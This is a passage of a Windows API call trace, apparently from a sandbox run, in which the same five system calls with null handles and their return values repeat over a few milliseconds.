GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.567] 